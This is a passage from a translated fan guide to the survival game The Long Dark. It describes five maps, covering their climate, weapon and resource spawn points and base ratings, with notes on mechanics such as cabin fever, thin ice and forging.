&lt;p&gt;Note 4: Cabin fever. A negative status in the game: cabin fever risk accumulates in all constant-temperature locations (and the mountaineer&apos;s hut), converts into cabin fever risk at a certain point, and triggers cabin fever when the risk reaches 100%.
The debuff lasts 24 hours. Note that if you don&apos;t go outside at all, after 24 hours the debuff refreshes its check and continues to exist. If you don&apos;t spend enough time outdoors during the debuff, then after 24 hours the debuff converts into a corresponding amount of cabin fever risk, which easily builds up and erupts again. To clear the risk completely, after triggering cabin fever it&apos;s best to stay outdoors the whole time, so that at the refresh check you&apos;ll most likely return to normal.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/015.webp&quot; alt=&quot;Image&quot; /&gt;
&lt;img src=&quot;./photo/016.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Note 5: Cold bonus. The phenomenon where a campfire burns longer because the ambient temperature is low; since it can generally only trigger outdoors it&apos;s also called the outdoor bonus, though that name isn&apos;t accurate. The cold bonus has two trigger conditions. One, the campfire and the character are on the same map; two, the pure ambient temperature at the character&apos;s coordinates is below -10° (the so-called pure ambient temperature is the air temperature shown when you press F without running, having a fire, a lamp, a torch or a flare, and without the Cold Fusion badge). The bonus works like this: starting from -10°, for every 1° colder the campfire&apos;s fuel efficiency rises by 5% (i.e. every 100 minutes of displayed fuel time supports 105 minutes of game time), reaching a maximum of 100% at -30° (i.e. every 100 minutes of displayed fuel supports 200 minutes of game time).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Coastal Highway &amp;amp; Map 2&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/017.webp&quot; alt=&quot;Image&quot; /&gt;Coastal Highway, traditional Chinese name 濱海公路, commonly called Map 2 &amp;amp; the Highway. The most livable coastal map, bar none.&lt;/p&gt;
&lt;p&gt;Geography: on the southern coast of Great Bear Island. As the name suggests, a stretch of highway divides the map into a mountain area and an ice area, with many constant-temperature shelters along the road. The mountain area is higher in the north and lower in the south with fairly complex terrain; the ice surface is frozen seawater with two small islands in the middle, and lots of thin ice along the boundary between the ice and the open sea.&lt;/p&gt;
&lt;p&gt;Climate: still in the best tier among all maps — high base temperatures, no strong weather bias, moderate blizzard probability, very suitable for survival.&lt;/p&gt;
&lt;p&gt;Important resources: two hunting rifles are guaranteed to spawn. One spawns randomly among five mutually exclusive points — inside the car at Returner&apos;s Lament, next to the corpse at the Hermit&apos;s Home, inside the ice fishing hut between Jackrabbit Island and the Hermit&apos;s Home, the abandoned lookout, and next to the corpse in front of the railway waterfall. The other spawns in the Cinder Hills Coal Mine (lower level).&lt;/p&gt;
&lt;p&gt;One revolver is guaranteed: in a backpack in the Cinder Hills Coal Mine (lower level). There are also two independent spawn points: Quonset Gas Station and the Coastal House (Jackrabbit Island).&lt;/p&gt;
&lt;p&gt;On non-Interloper difficulty, Quonset Gas Station is guaranteed to have a hacksaw, and the Cinder Hills Coal Mine (lower level) spawns at least one 4L fuel can.&lt;/p&gt;
&lt;p&gt;Coastal Highway has three bear caves, none of them warm caves, each with a fixed bear (3 bears). There is only one independent moose spawn point (no sign), near Quonset Gas Station; once killed it won&apos;t respawn (as of v1.94, can&apos;t be disproven). Wolves and deer are widespread on the ice, and there are nine ice fishing huts, two of which randomly have doors; they catch two kinds of saltwater fish. Cattails only grow in the water system extending from the waterfall near the Ravine entrance; they don&apos;t grow in the saltwater area.&lt;/p&gt;
&lt;p&gt;The thin-ice areas by the sea have a chance to spawn flotsam, which is currently the only way in the game to repeatedly obtain some non-renewable resources, commonly called beachcombing. The more important items that can spawn by the sea are scrap metal, cloth, leather, maple saplings and birch saplings.&lt;/p&gt;
&lt;p&gt;Coal is abundant, with the Cinder Hills Coal Mine as a coal-producing treasure: the upper level has nearly 40 pieces when fully spawned, the lower level about 10.&lt;/p&gt;
&lt;p&gt;There are a fair number of houses; breaking down furniture including curtains and sofas yields plenty of cloth, and both Quonset Gas Station and the mine have metal shelving that can be sawed apart for a certain amount of scrap metal.&lt;/p&gt;
&lt;p&gt;In standard Interloper you can&apos;t spawn on Coastal Highway, and Coastal Highway has no guaranteed match spawn, so if you pick Coastal Highway as your start in a custom Interloper run, be prepared for the possibility of not finding matches. Also, on Interloper the Cinder Hills Coal Mine (upper level) is guaranteed to have a stim.&lt;/p&gt;
&lt;p&gt;Other: the ice has few landmarks, and it&apos;s easy to lose your bearings in a blizzard or fog. I recommend carrying sticks for orientation: on the ice, just walk in the direction the tip of a stick points and you&apos;ll definitely find the highway.&lt;/p&gt;
&lt;p&gt;There are many cabins marked as randomly collapsed. Testing shows that on non-Interloper difficulty the collapses are random among several patterns — not every house has an independent probability — while on Interloper the collapsed houses are fixed.&lt;/p&gt;
&lt;p&gt;Since this map has no warm caves at all (it&apos;s the only map without one), clearing cabin fever relies mainly on cars and on making a fire and fishing in the ice fishing huts (Interloper).&lt;/p&gt;
&lt;p&gt;There&apos;s one inappropriate translation: the original text is Log Sort, the simplified Chinese name &quot;lakeside town&quot; is a bit absurd, and the traditional Chinese name &quot;log sorting&quot; is basically machine translation. I think calling it a log warehouse / log storage yard makes more sense.&lt;/p&gt;
&lt;p&gt;The two Cinder Hills Coal Mine — Abandoned Mine entries on the map are actually the same map, but the upper and lower levels don&apos;t connect; entering one and then the other won&apos;t increase the explored locations in your stats. The lower level has an elevator that only starts on aurora nights, after which you can explore most of the lower level. Note that the areas reachable only by the elevator also require the elevator to get back, which means that if the aurora disappears during exploration and the elevator loses power, the player will be trapped in the lower level of the Cinder Hills Coal Mine. So newbies should back up their save before exploring the lower level on an aurora night to avoid getting stuck.
Upper level&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/018.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Lower level&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/019.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Base evaluations:
Quonset Gas Station Rating 4/5&lt;/p&gt;
&lt;p&gt;Pros: central location, fairly spacious, with a workbench and burn barrel inside. The coastal town outside is the map&apos;s only moose spawn, and there&apos;s a bear cave in the hills behind. There&apos;s a car at the door, usable on low difficulty to clear cabin fever risk, and it&apos;s close to the mine, making coal collection fairly convenient.&lt;/p&gt;
&lt;p&gt;Cons: a bit far from rabbit spawns. A wolf den: open the door and there&apos;s a high chance of wolves left and right. If avoiding wolves is the premise, this isn&apos;t a good place.&lt;/p&gt;
&lt;p&gt;A very newbie-friendly base, with no flaw except the many wolves. Commonly called the gas station, which somewhat clashes with the one in Mountain Town, but that one usually gets &quot;Euro Truck&quot; put in front of it.&lt;/p&gt;
&lt;p&gt;Coastal House (coastal town) Rating 4.5/5&lt;/p&gt;
&lt;p&gt;Simply put, these are the houses near Quonset Gas Station. Since there are wolf spawns on both sides coming out of the gas station and the terrain is fairly complex, getting killed right outside the door isn&apos;t impossible, so finding a house in a corner and using the gas station&apos;s facilities to survive is a fairly safe approach. I&apos;d recommend this red one: being in the corner it gives a good view for clearing wolves, and it&apos;s close to the bear cave in the back hills, so it&apos;s much safer to come and go, hence +0.5.&lt;/p&gt;
&lt;p&gt;Fishing Camp Rating 3.5/5&lt;/p&gt;
&lt;p&gt;Pros: made up of 3-4 cabins with decent total space, and an outdoor workbench. The road at the door is a bear patrol route, it&apos;s close to the ice fishing huts, and deer herds are common on the ice.&lt;/p&gt;
&lt;p&gt;Cons: individual cabins are very small, containers are few, and there&apos;s no indoor stove.&lt;/p&gt;
&lt;p&gt;A compact base with its own bear. The outdoor workbench isn&apos;t suitable for large items like clothing, but it&apos;s basically enough for replenishing arrows and snares.&lt;/p&gt;
&lt;p&gt;Coastal House (Jackrabbit Island) Rating 3/5&lt;/p&gt;
&lt;p&gt;Pros: a single-storey one-bedroom, two-living-room place with a bathroom, decent space and quite a few containers. It sits at the highest point of the island with an open view; right outside are stick spawns and a rabbit area, and with plenty of snares it&apos;s easy to keep fed. You can also make full use of the cold, low-value hours to earn income while clearing cabin fever. There are three ice fishing huts around the island, so fishing is convenient, and it&apos;s very close to the coast, good for beachcombing.&lt;/p&gt;
&lt;p&gt;Cons: on the edge of the map, so getting elsewhere isn&apos;t very convenient. No indoor stove or workbench; the nearest workbench is at Fishing Camp and it&apos;s outdoors. Relatively far from large animal spawns and the mine.&lt;/p&gt;
&lt;p&gt;A base with fairly polarized reviews. For a newbie this is just a run-down house you can find anywhere, basically worthless. But its value rises with difficulty: cheap cabin fever control and convenient beachcombing are crucial for late-game Interloper living.&lt;/p&gt;
&lt;p&gt;Coastal House (Hermit&apos;s Home) Rating 2.5/5&lt;/p&gt;
&lt;p&gt;Basically the same as Jackrabbit Island. The workbench requires going to Quonset Gas Station; it&apos;s close to a bear spawn, +0.5; you can run into wolves right outside the door, -1.&lt;/p&gt;
&lt;p&gt;Notes
Note 8: Thin ice is a special terrain type in the game, common on coastal maps and in Forlorn Muskeg. After a player walks onto thin ice a red warning appears and a countdown begins; when it ends the ice breaks and the player is judged to have fallen in, then forcibly reset to the area outside the thin ice with effects such as the temperature bar being emptied, 10% of condition deducted and clothing 100% wet. Falling in on the coast makes all your clothing wet, while falling in in the marsh only makes your trousers, shoes and socks wet. Also, falling in in the marsh cracks the ice, and walking to the crack again skips the countdown and immediately counts as falling in. In informal testing the thin ice countdown usually lasts about 5 seconds, extended to about 6 seconds with crampons, but there are still areas that skip the countdown and immediately count as falling in (such as a spot below Jackrabbit Island), so be careful. Also, thin ice detection isn&apos;t limited to the ice surface — it still applies at some height above the ground, so anyone who wants to slope-climb over thin ice should get themselves as high as possible.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Pleasant Valley &amp;amp; Map 3&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/020.webp&quot; alt=&quot;Image&quot; /&gt;Pleasant Valley, traditional Chinese name 歡樂谷, commonly called Map 3 &amp;amp; Murder Valley. The largest map in the whole game.&lt;/p&gt;
&lt;p&gt;Geography: one of the maps officially rotated 90° clockwise. Surrounded by fairly complex mountainous terrain, with a plain encircled by water in the middle, and a highway running through the whole map, crossing the entire plain. Whether it&apos;s pleasant isn&apos;t clear, but it&apos;s certainly a valley.&lt;/p&gt;
&lt;p&gt;Climate: officially declared to have &quot;the harshest weather in the entire Great Bear Island region&quot;. In practice it has the highest blizzard probability, average base temperatures about 4° lower than Mystery Lake, and wind chill a bit higher than elsewhere. In short, the nickname Murder Valley isn&apos;t for nothing.&lt;/p&gt;
&lt;p&gt;Important resources: on non-Interloper difficulty this map spawns a Survivor Cache (commonly called a bunker) at one of nine random spots. Every bunker contains a bed and various supplies, divided into six types — weapons, tools, medical supplies, clothing, firewood and food — which vary depending on the spawn location.&lt;/p&gt;
&lt;p&gt;A hunting rifle is guaranteed to spawn, randomly among five mutually exclusive points: inside the car at Long Curve, Three Strikes Farmstead, Burned Ridge Cave, the Misty Falls picnic area, and the broken shed northwest of the farmstead. There are also two independent spawn points: Pleasant Valley Farmstead and the cave at the Misty Falls picnic area. If the spawned bunker type is weapons, you can find two extra hunting rifles inside the bunker.&lt;/p&gt;
&lt;p&gt;Two revolvers are guaranteed. One at the radio control hut on Signal Hill; the other spawns among four mutually exclusive points: the unnamed pond, the basement at Ice Boat Ridge, the abandoned Survivor Cache, and the cave at the Misty Falls picnic area. There is also an independent spawn at the Barn (small). If the spawned bunker type is tools, you can find an extra revolver inside the bunker.&lt;/p&gt;
&lt;p&gt;A bow is guaranteed: inside the constant-temperature cave at the Misty Falls picnic area, and arrows may spawn at the two hunting towers and the archery target near the Barn (large).&lt;/p&gt;
&lt;p&gt;The airliner wreck has lots of scattered suitcases that yield plenty of clothing. On non-Interloper difficulty the abandoned Survivor Cache is guaranteed to have a hacksaw; those planning to saw open containers on Timberwolf Mountain can grab it on the way.&lt;/p&gt;
&lt;p&gt;Pleasant Valley has seven bear caves, the most of any map, six of which are warm caves — the one in the birch forest is the exception. Three bears spawn at random (four on Interloper). There are two mutually exclusive moose spawn areas, at Pensive Pond and around the birch forest northeast of the Barn (large). The map&apos;s only ice fishing hut is at Pensive Pond and catches two kinds of freshwater fish. Lots of cattails can be gathered along the river, though they&apos;re fairly scattered.&lt;/p&gt;
&lt;p&gt;Aside from the Cinder Hills Coal Mine, the main coal area, the Misty Falls picnic area cave also spawns a little coal. There are quite a few sticks, but most are in the mountains and they&apos;re scarce near the main buildings.&lt;/p&gt;
&lt;p&gt;There are a fair number of houses; breaking down furniture including curtains and sofas yields plenty of cloth. Signal Hill, the abandoned bunker, the two basements and the barn all have plenty of metal shelving, so the scrap metal supply is larger than you&apos;d expect.&lt;/p&gt;
&lt;p&gt;On Interloper, both the farmstead basement and the country store have a guaranteed box of matches, the barn has a guaranteed stim, and the farmstead basement has a guaranteed advanced toolkit.&lt;/p&gt;
&lt;p&gt;Other: the map has two barns, so the suffixes &quot;large&quot; and &quot;small&quot; were added to distinguish them. Both barns are constant-temperature, but without the Cold Fusion badge the base temperature is -8°, so keep an eye on the temperature bar during early exploration.&lt;/p&gt;
&lt;p&gt;Two bears may wander near the farmstead, called the farmstead bears, but they actually come from elsewhere. One may come from the bear cave near Long Curve, the other from the bear cave below Signal Hill. The bear wandering around the radio control hut on Signal Hill comes from the bear cave near the multi-level waterfall.&lt;/p&gt;
&lt;p&gt;The blizzard probability is very high — on Interloper, by feel, basically every other day. Without blizzard navigation skills, exploring this map is quite tough; newbies starting on this map should shorten their map-transition times as much as possible to avoid getting stranded.&lt;/p&gt;
&lt;p&gt;Most of the houses at Thompson&apos;s Crossing are fixed, but one is random, and its layout varies with its random position.
When using sticks to orient yourself on this map, you&apos;ll get the illusion that they point to the top right of the map; the main reason is that the map itself is crooked, giving players that illusion.&lt;/p&gt;
&lt;p&gt;There is a fixed building called the &quot;abandoned Survivor Cache&quot; near the entrance to Timberwolf Mountain, commonly called the abandoned bunker, which is actually not the same thing as the &quot;Survivor Cache&quot; bunker that newbies so badly want to find. People often say Pleasant Valley spawns two bunkers, but in fact there is still only one random supply bunker; this counts as a misconception alongside &quot;Interloper also spawns guns (though only flare guns)&quot;.&lt;/p&gt;
&lt;p&gt;Two bears may wander near the farmstead, called the farmstead bears, but they actually come from elsewhere. One may come from the bear cave near Long Curve, the other from the bear cave below Signal Hill. The bear wandering around the radio control hut on Signal Hill comes from the bear cave near the multi-level waterfall.&lt;/p&gt;
&lt;p&gt;The blizzard probability is very high — on Interloper, by feel, basically every other day. Without blizzard navigation skills, exploring this map is quite tough; newbies starting on this map should shorten their map-transition times as much as possible to avoid getting stranded.&lt;/p&gt;
&lt;p&gt;Most of the houses at Thompson&apos;s Crossing are fixed, but one is random, and its layout varies with its random position.&lt;/p&gt;
&lt;p&gt;When using sticks to orient yourself on this map, you&apos;ll get the illusion that they point to the top right of the map; the main reason is that the map itself is crooked, giving players that illusion.&lt;/p&gt;
&lt;p&gt;Base recommendations:
Pleasant Valley Farmstead Rating 4/5&lt;/p&gt;
&lt;p&gt;Pros: a large three-storey house with huge space and plenty of containers. Built-in workbench and six-burner stove, plus a corridor that counts as constant-temperature indoor space but inherits outdoor lighting (meaning at night, when it&apos;s not blizzard or fog, you can do light-requiring tasks in the corridor). The area outside the door is a bear patrol zone, there are deer and rabbits nearby, and there&apos;s a car for simply clearing cabin fever. It isn&apos;t close to the ice fishing hut, but relatively speaking it&apos;s the closest on this map.&lt;/p&gt;
&lt;p&gt;Cons: poor natural light — even at 100% brightness the interior is dark during the day. Fuel spawns are a bit far, making fuel collection slightly inconvenient. Pleasant Valley has bad weather.&lt;/p&gt;
&lt;p&gt;In some ways an almost perfect base, except that it grew in Pleasant Valley.&lt;/p&gt;
&lt;p&gt;Community Hall Rating 3.5/5&lt;/p&gt;
&lt;p&gt;Pros: fairly spacious, with the largest container capacity on the map — one cabinet even inherits the 200kg capacity setting from the story. Built-in six-burner stove. Bear spawn nearby, rabbits and deer not far. Plenty of fuel, no shortage of sticks around, and close to the Cinder Hills Coal Mine.&lt;/p&gt;
&lt;p&gt;Cons: no workbench; the nearest is at the Cinder Hills Coal Mine or the barn, and Pleasant Valley has bad weather.&lt;/p&gt;
&lt;p&gt;If the bear cave at the upper waterfall spawns a bear, this becomes a truly excellent base. Being very close to the Cinder Hills Coal Mine, it&apos;s very suitable as an expansion base for Coastal Highway. When living out your retirement on Coastal Highway late game, you can take out the bear here while collecting coal, which rounds to controlling the resources of four bears with a single map.&lt;/p&gt;
&lt;p&gt;Abandoned Survivor Cache Rating 2.5/5&lt;/p&gt;
&lt;p&gt;Pros: at the Timberwolf Mountain entrance, with plenty of containers. Built-in workbench, and a two-burner stove in the broken shack outside. Close to the Misty Falls picnic area cave, so you can pick up some coal.&lt;/p&gt;
&lt;p&gt;Cons: cramped and poorly lit. Because a fire in the outdoor stove doesn&apos;t keep wolves away and it&apos;s very close to a wolf patrol route, be especially careful when cooking at the door. There&apos;s a bear cave not too far, but not close either. Pleasant Valley has bad weather&lt;/p&gt;
&lt;p&gt;Not really suitable for a permanent base, but if you want to move resources out of Timberwolf Mountain and Ash Canyon, this is an indispensable transit stop.&lt;/p&gt;
&lt;p&gt;Notes
Note 9: The Cold Fusion badge&apos;s bonus is essentially neither ambient temperature nor feels-like temperature but a heat source. You can think of it as always having a +2° campfire over your head, except this campfire can do nothing but warm you.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Desolation Point &amp;amp; Map 4&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/021.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Desolation Point, traditional Chinese name 蒼涼角, commonly called the Point &amp;amp; Map 4. The smallest map on the big map.&lt;/p&gt;
&lt;p&gt;Geography: on the coast at the far southwest corner of Great Bear Island, with a land-ice structure similar to Coastal Highway, currently connected only to Crumbling Highway.&lt;/p&gt;
&lt;p&gt;Climate: neither good nor bad. Base temperatures slightly lower than Mystery Lake, blizzard and wind probability slightly higher, but overall acceptable.&lt;/p&gt;
&lt;p&gt;Important resources: a hunting rifle is guaranteed, inside the constant-temperature cave near the broken bridge.&lt;/p&gt;
&lt;p&gt;A revolver is guaranteed, spawning randomly among four mutually exclusive points: Lonely Lighthouse, the stone church, Abandoned Mine No. 5 and the trailer. The safe in the Hibernia Processing plant also has an independent chance.&lt;/p&gt;
&lt;p&gt;Inside Hibernia Processing a gun is guaranteed (the safe doesn&apos;t count), type uncertain — either a revolver or a rifle. One rifle spawn can only be seen after breaking a crate.&lt;/p&gt;
&lt;p&gt;A bow is guaranteed at Katie&apos;s Secluded Corner, with arrows beside it.&lt;/p&gt;
&lt;p&gt;On non-Interloper difficulty the processing plant is guaranteed to have a heavy hammer and a hacksaw.&lt;/p&gt;
&lt;p&gt;There is only one bear cave, a warm cave, with a guaranteed bear. There is one moose point near the bridge above Carter&apos;s wagon; it has no moose sign and seems unable to respawn, but this can&apos;t be confirmed.&lt;/p&gt;
&lt;p&gt;Abandoned Mine No. 5 has many coal spawn points, and there is flotsam near the thin ice by the sea.&lt;/p&gt;
&lt;p&gt;The repair shop together with the trailer beside it, plus the mine and the lighthouse, can be broken down for plenty of scrap metal and a little cloth.&lt;/p&gt;
&lt;p&gt;On Interloper, Hibernia Processing is guaranteed to have a box of matches and a prybar, and the Lonely Lighthouse a stim.&lt;/p&gt;
&lt;p&gt;Other: the constant-temperature cave near the waterfall is commonly called the wolf cave and may spawn a wolf. Although an indoor wolf ignores bait, it can still be frozen in place by a torch or flare, so be prepared when entering.&lt;/p&gt;
&lt;p&gt;Hibernia Processing is constant-temperature inside, but only -5°, so watch the temperature bar during early searches. Its interior is quite cluttered and some supplies are hidden in rather sadistic spots; a thorough sweep takes patience. This building also has a very strange bug: when this building is the first interior loaded after you open the game, its constant temperature becomes -1° and this affects all saves; the bug disappears after you enter another building once.&lt;/p&gt;
&lt;p&gt;The Riken has a built-in forge and is one of only three forging points in the game. Since it&apos;s indoors, watch out for cabin fever risk during long forging sessions.&lt;/p&gt;
&lt;p&gt;Although this is a coastal map, it&apos;s the only coastal map without an ice fishing hut, probably because they were afraid the lighthouse staff would slack off at work.&lt;/p&gt;
&lt;p&gt;Base recommendations:
Hibernia Processing Rating 3.5/5&lt;/p&gt;
&lt;p&gt;Pros: large space, with a built-in workbench and a burn barrel (two-burner stove). Relatively close to the bear cave and the moose point, and the coal mine is right across the road. There&apos;s a car at the door for simply clearing cabin fever.&lt;/p&gt;
&lt;p&gt;Cons: few containers, fairly dim lighting, a chance of running into a wolf right outside, and relatively far from rabbit spawns.&lt;/p&gt;
&lt;p&gt;Fairly ordinary. Staying a while isn&apos;t impossible, but the map is too small and overall resources are poor, so it isn&apos;t a long-term plan.&lt;/p&gt;
&lt;p&gt;Lonely Lighthouse  Rating 1/5&lt;/p&gt;
&lt;p&gt;Pros: great scenery, plenty of atmosphere, good for role-playing. Built-in fireplace (two-burner stove) and the top floor comes with an observation deck.&lt;/p&gt;
&lt;p&gt;Cons: everything except the above&lt;/p&gt;
&lt;p&gt;Some people really do like living here, but from a gameplay standpoint I don&apos;t really recommend it.&lt;/p&gt;
&lt;p&gt;Notes
Note 10: At a forge you can use a heavy hammer and scrap metal to craft an improvised knife/hatchet and arrowheads, which requires a forge temperature above 150°. Fuel normally only raises the forge temperature to 80°, and reaching 150° requires adding coal; one piece of coal raises the forge temperature by 20°.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Timberwolf Mountain &amp;amp; Map 5&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/022.webp&quot; alt=&quot;Image&quot; /&gt;Timberwolf Mountain, traditional Chinese name 灰狼山, commonly called Map 5 &amp;amp; the Mountain, is one of the maps with the richest resources in the game.&lt;/p&gt;
&lt;p&gt;Geography: in the mountains of northwestern Great Bear Island. The terrain peaks at the Summit in the center and descends progressively outward, and is fairly complex, with lots of cliffs that require a climbing rope to cross.&lt;/p&gt;
&lt;p&gt;Climate: fairly harsh, but still better than Pleasant Valley. Temperature decreases with altitude (non-linearly) [Note 11]: there&apos;s a 2° difference above and below the climbing rope leading to the summit, and the summit is 4° colder than the Crystal Lake area. If we only count the warmest area, Crystal Lake, the temperature is better than you&apos;d think — only about 3° lower than Mystery Lake&apos;s base temperature, better than Pleasant Valley. As for blizzard probability, by feel it&apos;s also considerably better than Pleasant Valley.&lt;/p&gt;
&lt;p&gt;Important resources: shipping containers scattered from the plane crash are distributed across the map. Each container has two cargo units, and opening each one consumes 5% of the hacksaw&apos;s durability. The types of supplies inside the containers are fixed but the quantities and durabilities are random. On non-Interloper difficulty 17 containers with 34 openable units in total spawn; on Interloper only 7 containers with 14 openable units spawn in total.&lt;/p&gt;
&lt;p&gt;Two hunting rifles are guaranteed. One is guaranteed in the container at the tail section (this rifle is tied to the non-Interloper containers, i.e. if you pick the Interloper template in a custom run and turn on rifle spawning, this rifle still won&apos;t appear; conversely, if you pick the non-Interloper template and turn off rifle spawning, that container will appear but the rifle won&apos;t spawn inside it). The other spawns mutually exclusively among four corpse points at 5, 6, 7 and 8 o&apos;clock in the southern part of the map.  The warm cave at the summit is the only independent revolver spawn point. A flare gun is guaranteed at the tail section, with 4-8 rounds on non-Interloper and 8 rounds built in on Interloper.  On non-Interloper difficulty both the mountaineer&apos;s hut and the tail section are guaranteed to have a hacksaw.&lt;/p&gt;
&lt;p&gt;Timberwolf Mountain has three bear caves; only the one at Echo Peak is a warm cave. Three bears are guaranteed. There are two mutually exclusive moose spawn points, at the landing gear and the wing. There is only one ice fishing hut, at Crystal Lake, which definitely has no door and catches two kinds of freshwater fish; there are lots of cattails around the lake.&lt;/p&gt;
&lt;p&gt;Fuel is widely distributed. Cave A-B, Cave C-D and the constant-temperature cave leading to Ash Canyon all have small coal spawn points, but because each yields little and the locations are remote and scattered, practicality is poor.&lt;/p&gt;
&lt;p&gt;On Interloper, the mountaineer&apos;s hut and the big cave each have a guaranteed box of matches, and the tail section has two boxes of matches and a stim, but note that if the tail-section matches didn&apos;t spawn at the outside spot, they&apos;re definitely inside a crate.&lt;/p&gt;
&lt;p&gt;Other: this map has no locked containers, and neither does Ash Canyon later, so you don&apos;t need to bring a prybar when exploring. The hacksaw&apos;s break threshold is 25%, i.e. when its durability is below 25% there&apos;s a chance it breaks on use. If the hacksaw breaks while sawing a container, that container can never be opened again. So watch the hacksaw&apos;s durability when sawing containers; when it&apos;s low you can repair it with a toolkit + scrap metal or switch to another saw. The image below shows the container at the tail section that has a hacksaw inside on non-Interloper difficulty; sawing this one first is never a loss.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/023.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some crates at the tail section contain supplies. On non-Interloper there&apos;s one crate of peaches, one crate of climbing rope + scrap metal, and one crate of matches and accelerant. On Interloper only the crate of climbing rope + scrap metal remains; the matches and accelerant are only inside the crate when they haven&apos;t spawned outside it.&lt;/p&gt;
&lt;p&gt;Normally you can only reach the summit of the mountain from the right side; the routes are shown in the image. The red route has no cliff-jumping or slope-climbing sections. It&apos;s a bit of a detour, but the route is simple and you can harvest two containers on the way. The blue route is optimal time-wise, but requires some slope-climbing skill and makes sprains fairly likely. After reaching the secluded ridge there&apos;s only one purple route: cross the cave and then take the climbing rope to the summit. All routes pass three climbing ropes. Of course, there are also cheesy routes that save rope, but they aren&apos;t really practical, so I won&apos;t go into them here.
Recommended climbing routes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/024.webp&quot; alt=&quot;Image&quot; /&gt;&lt;br /&gt;
Base recommendations:
Mountaineer&apos;s Hut  Rating 4/5&lt;/p&gt;
&lt;p&gt;Pros: bright and open — at night you can even look up at the stars — with a built-in workbench and fireplace (two-burner stove). Open the door and you see Crystal Lake, where wolves, deer and bears are often out strolling happily together while the rabbits nearby shiver. The map&apos;s only two moose points are not far on either side. Fishing is convenient, there are huge numbers of sticks around, and fuel isn&apos;t lacking. The light and item-decay rate inside the room are judged as outdoors [Note 12].&lt;/p&gt;
&lt;p&gt;Cons: not constant-temperature, not constant-temperature, not constant-temperature — important things bear repeating three times. It&apos;s the only non-constant-temperature location on the map that accumulates cabin fever. The hut has a base +10° warming that gradually increases with decay, reaching up to +30° in the late Interloper game; combined with a +5° bed, that&apos;s a total of +35° while sleeping. Even so, if your clothing isn&apos;t good enough there&apos;s still the risk of an early-morning blizzard causing you to lose temperature while sleeping. So the lack of constant temperature is the hut&apos;s biggest flaw; the rest — small space, few containers, inconvenient coal collection, no save on entering/leaving — are just extras. On non-Interloper this flaw isn&apos;t really fatal, but on Interloper, if you want to live here, you&apos;ll have to consider your clothing first.&lt;/p&gt;
&lt;p&gt;Notes
Note 11: The game&apos;s so-called altitude cooling isn&apos;t strictly linear cooling along the z-axis; it&apos;s zones the developers drew by hand. In extreme cases you can walk one step and lose 5°, then step back and gain 5°.&lt;/p&gt;
&lt;p&gt;Note 12: The durability decay rate of all food in the game differs indoors and outdoors. Generally, food left outdoors spoils far slower than food left indoors. Only the three kinds of soda, canned sardines, pork and beans, peaches and the &quot;Go!&quot; energy drink are exceptions.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Forlorn Muskeg &amp;amp; Map 6&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/025.webp&quot; alt=&quot;Image&quot; /&gt;Forlorn Muskeg, traditional Chinese name 伶仃苔沼, commonly called Map 6 &amp;amp; the Muskeg. A Canadian engineering miracle: a railway through a swamp.&lt;/p&gt;
&lt;p&gt;Geography: a standard basin — mountains on all sides with marsh in the middle. The marsh has scattered patches of land and a lot of thin ice, and a railway runs across it connecting Mystery Lake and Broken Railroad.&lt;/p&gt;
&lt;p&gt;Climate: base temperatures equivalent to Mystery Lake, but fog probability far exceeds every other map. As a basin, that makes sense.&lt;/p&gt;
&lt;p&gt;Important resources: a hunting rifle is guaranteed, spawning randomly among five mutually exclusive points. The locations are beyond my ability to describe in words, so see the image (red circles).&lt;/p&gt;
&lt;p&gt;There are three independent revolver spawn points: beside the bed on the second floor of Old Spence Family Homestead, inside the safe, and in a backpack in the constant-temperature cave by the waterfall.&lt;/p&gt;
&lt;p&gt;A bow is guaranteed, spawning randomly among four mutually exclusive points. The locations are beyond my ability to describe in words, so see the image (blue circles).
Rifle &amp;amp; bow locations in the Muskeg:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/026.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On non-Interloper a heavy hammer is guaranteed, randomly among three mutually exclusive points at Old Spence Family Homestead and the workers&apos; quarters.&lt;/p&gt;
&lt;p&gt;There are two bear caves, neither a warm cave, with two guaranteed bears. There are three mutually exclusive moose spawn areas at the 3, 5 and 10 o&apos;clock positions on the map. Plant resources are rich, and the number of cattails tops the whole game.&lt;/p&gt;
&lt;p&gt;Although it&apos;s a marsh map, fuel isn&apos;t lacking. Poacher&apos;s Camp and the area near Old Spence&apos;s have a certain amount of non-respawning coal, and the waterfall cave and the cave to Bleak Inlet both have small coal spawn points.&lt;/p&gt;
&lt;p&gt;On Interloper, Old Spence Family Homestead has a guaranteed box of matches, and Muskeg Ridge a guaranteed stim.&lt;/p&gt;
&lt;p&gt;Other: this map has an explorable location, the &quot;abandoned camp&quot;, which spawns randomly in one of four positions, characterized by a snow shelter, a campfire and some supplies. This location counts toward your stats.
The central marsh has a lot of thin ice. Generally the ice near land is fine, so when crossing the marsh try to walk close to land. If you absolutely must cross thin ice, reduce your load as much as possible, increase sprint speed and be prepared to fall in.&lt;/p&gt;
